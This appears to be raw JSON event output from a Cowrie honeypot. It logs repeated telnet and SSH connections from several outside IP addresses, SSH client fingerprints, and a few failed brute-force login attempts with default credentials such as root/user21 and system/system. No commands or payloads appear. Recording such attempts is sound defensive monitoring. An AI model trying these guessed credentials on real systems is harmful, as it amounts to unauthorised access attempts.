{"eventid":"cowrie.session.closed","duration":34.52239394187927,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:37.645838Z","src_ip":"104.245.105.2","session":"91fd469dafbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5f2ec79a473","protocol":"telnet","message":"New connection: 104.245.105.2:33812 (10.17.0.5:23) [session: f5f2ec79a473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:38.030869Z"}
{"eventid":"cowrie.session.closed","duration":31.42484450340271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:39.984515Z","src_ip":"104.245.105.2","session":"53499636b31f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50262,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e8312326053","protocol":"telnet","message":"New connection: 104.245.105.2:50262 (10.17.0.5:23) [session: 2e8312326053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:41.102899Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d549eb1b0bbd","protocol":"telnet","message":"New connection: 104.245.105.2:50276 (10.17.0.5:23) [session: d549eb1b0bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:41.250136Z"}
{"eventid":"cowrie.session.closed","duration":33.713170528411865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:41.432575Z","src_ip":"104.245.105.2","session":"c38719e67e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4031183719635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:42.105005Z","src_ip":"104.245.105.2","session":"c8e66a79c727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79842734336853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:43.371456Z","src_ip":"104.245.105.2","session":"81a044fb6415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20658779144287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:43.961659Z","src_ip":"104.245.105.2","session":"b404ded673b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.851839780807495,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:44.885142Z","src_ip":"119.92.141.68","session":"5702134e971f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50288,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00139b5e0a7","protocol":"telnet","message":"New connection: 104.245.105.2:50288 (10.17.0.5:23) [session: c00139b5e0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:46.453424Z"}
{"eventid":"cowrie.session.closed","duration":36.69994401931763,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:46.710232Z","src_ip":"104.245.105.2","session":"4f60c605b523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26275110244751,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:49.367476Z","src_ip":"104.245.105.2","session":"ed1197e8bb9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.64439296722412,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:49.402240Z","src_ip":"206.189.32.23","session":"0c6aaf7e6092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13521385192871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:50.561141Z","src_ip":"104.245.105.2","session":"96ff90749443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09575963020325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:51.183187Z","src_ip":"104.245.105.2","session":"a7dda93424e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25014328956604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:51.455858Z","src_ip":"104.245.105.2","session":"ba8e30134ffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38660,"dst_ip":"10.17.0.5","dst_port":23,"session":"29368e0b230f","protocol":"telnet","message":"New connection: 104.245.105.2:38660 (10.17.0.5:23) [session: 29368e0b230f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:52.416978Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38654,"dst_ip":"10.17.0.5","dst_port":23,"session":"df13d175c9dd","protocol":"telnet","message":"New connection: 104.245.105.2:38654 (10.17.0.5:23) [session: df13d175c9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:52.748818Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38662,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f87496e4e7","protocol":"telnet","message":"New connection: 104.245.105.2:38662 (10.17.0.5:23) [session: e9f87496e4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:54.635170Z"}
{"eventid":"cowrie.session.closed","duration":30.365708589553833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:57.139726Z","src_ip":"104.245.105.2","session":"d8f0808f81be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38668,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a7eedf84fdc","protocol":"telnet","message":"New connection: 104.245.105.2:38668 (10.17.0.5:23) [session: 6a7eedf84fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:52:57.758487Z"}
{"eventid":"cowrie.session.closed","duration":30.683417320251465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:00.295335Z","src_ip":"104.245.105.2","session":"87dc2fa2129f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.828178644180298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:02.076030Z","src_ip":"104.245.105.2","session":"a26e05b3e686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122356414795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:03.220679Z","src_ip":"38.191.219.203","session":"9c0eb2b2120c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"110.239.183.115","src_port":48353,"dst_ip":"159.203.135.109","dst_port":23,"session":"beaf2048e67f","protocol":"telnet","message":"New connection: 110.239.183.115:48353 (159.203.135.109:23) [session: beaf2048e67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:04.057889Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49284,"dst_ip":"10.17.0.5","dst_port":23,"session":"77bfc3151d7d","protocol":"telnet","message":"New connection: 188.208.141.113:49284 (10.17.0.5:23) [session: 77bfc3151d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:05.046420Z"}
{"eventid":"cowrie.session.closed","duration":49.33616495132446,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:06.406248Z","src_ip":"206.189.32.23","session":"44a333d35bef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f49dc7f04f","protocol":"telnet","message":"New connection: 206.189.32.23:45916 (10.17.0.5:23) [session: a9f49dc7f04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:07.976934Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7609fcb0473","protocol":"ssh","message":"New connection: 190.108.60.10:60118 (10.17.0.5:22) [session: f7609fcb0473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:08.367128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:08.371456Z","src_ip":"190.108.60.10","session":"f7609fcb0473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:08.568743Z","src_ip":"190.108.60.10","session":"f7609fcb0473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.47560739517212,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:09.341620Z","src_ip":"206.189.32.23","session":"7896392cf607","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123456","message":"login attempt [tester/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:09.410106Z","src_ip":"190.108.60.10","session":"f7609fcb0473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb769d7b6103","protocol":"telnet","message":"New connection: 188.208.141.113:52480 (10.17.0.5:23) [session: fb769d7b6103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:10.517625Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:10.621312Z","src_ip":"190.108.60.10","session":"f7609fcb0473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.512518644332886,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:14.615257Z","src_ip":"104.245.105.2","session":"2e8312326053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.724929332733154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:14.755723Z","src_ip":"104.245.105.2","session":"f5f2ec79a473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015516281128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:14.806251Z","src_ip":"38.191.219.202","session":"747a1b6d73f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.712126016616821,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:17.229634Z","src_ip":"188.208.141.113","session":"fb769d7b6103","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:18.290551Z","src_ip":"110.239.183.115","session":"beaf2048e67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.541940450668335,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:18.814246Z","src_ip":"206.189.32.23","session":"a1358e011945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.63814973831177,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:20.888125Z","src_ip":"104.245.105.2","session":"d549eb1b0bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46908,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0a1984e8e5","protocol":"telnet","message":"New connection: 104.245.105.2:46908 (10.17.0.5:23) [session: ea0a1984e8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:21.095135Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58096,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6193036eca","protocol":"telnet","message":"New connection: 206.189.32.23:58096 (10.17.0.5:23) [session: 4c6193036eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:21.471574Z"}
{"eventid":"cowrie.session.closed","duration":35.0638530254364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:21.517195Z","src_ip":"104.245.105.2","session":"c00139b5e0a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167155265808,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:21.715167Z","src_ip":"38.191.219.203","session":"9edc3df0e05c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46910,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24f043737b7","protocol":"telnet","message":"New connection: 104.245.105.2:46910 (10.17.0.5:23) [session: b24f043737b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:22.899374Z"}
{"eventid":"cowrie.session.closed","duration":30.847294569015503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:23.264208Z","src_ip":"104.245.105.2","session":"29368e0b230f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":48386,"dst_ip":"10.17.0.5","dst_port":22,"session":"da386220fdc2","protocol":"ssh","message":"New connection: 61.222.211.114:48386 (10.17.0.5:22) [session: da386220fdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:23.965674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:23.970883Z","src_ip":"61.222.211.114","session":"da386220fdc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:24.183198Z","src_ip":"61.222.211.114","session":"da386220fdc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user21","message":"login attempt [root/user21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:25.061737Z","src_ip":"61.222.211.114","session":"da386220fdc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.168737173080444,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:25.481385Z","src_ip":"188.208.141.113","session":"779567ba1324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.378475666046143,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:25.849919Z","src_ip":"206.189.32.23","session":"4c6193036eca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77f25479bcb","protocol":"telnet","message":"New connection: 104.245.105.2:46912 (10.17.0.5:23) [session: a77f25479bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:26.223934Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:26.276633Z","src_ip":"61.222.211.114","session":"da386220fdc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:27.413914Z","src_ip":"110.239.183.115","session":"beaf2048e67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49467730522156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:28.129755Z","src_ip":"104.245.105.2","session":"e9f87496e4e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd49a4a5bf9d","protocol":"telnet","message":"New connection: 104.245.105.2:46920 (10.17.0.5:23) [session: bd49a4a5bf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:28.495545Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":40480,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc89f6ec74f","protocol":"telnet","message":"New connection: 38.191.219.202:40480 (159.203.135.109:23) [session: 6bc89f6ec74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:32.314715Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54806,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f006075e6cf","protocol":"telnet","message":"New connection: 104.245.105.2:54806 (10.17.0.5:23) [session: 6f006075e6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:33.903454Z"}
{"eventid":"cowrie.session.closed","duration":44.457122802734375,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:37.205860Z","src_ip":"104.245.105.2","session":"df13d175c9dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.199620962142944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:39.257389Z","src_ip":"110.239.183.115","session":"beaf2048e67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.701003551483154,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:40.459426Z","src_ip":"104.245.105.2","session":"6a7eedf84fdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"ced461933b4f","protocol":"telnet","message":"New connection: 104.245.105.2:45198 (10.17.0.5:23) [session: ced461933b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:41.454436Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cfced55419f","protocol":"telnet","message":"New connection: 188.208.141.113:50414 (10.17.0.5:23) [session: 0cfced55419f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:42.001278Z"}
{"eventid":"cowrie.session.closed","duration":39.48301911354065,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:44.529275Z","src_ip":"188.208.141.113","session":"77bfc3151d7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53008,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d7fae7cfb8","protocol":"telnet","message":"New connection: 206.189.32.23:53008 (10.17.0.5:23) [session: 92d7fae7cfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:44.827532Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45214,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77246f73822","protocol":"telnet","message":"New connection: 104.245.105.2:45214 (10.17.0.5:23) [session: b77246f73822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:45.224775Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45218,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f964dd407b","protocol":"telnet","message":"New connection: 104.245.105.2:45218 (10.17.0.5:23) [session: b7f964dd407b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:49.254223Z"}
{"eventid":"cowrie.session.closed","duration":42.024105072021484,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:50.000933Z","src_ip":"206.189.32.23","session":"a9f49dc7f04f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.375831365585327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:52.470848Z","src_ip":"104.245.105.2","session":"ea0a1984e8e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607755422592163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:53.506993Z","src_ip":"104.245.105.2","session":"b24f043737b7","protocol":"telnet"}
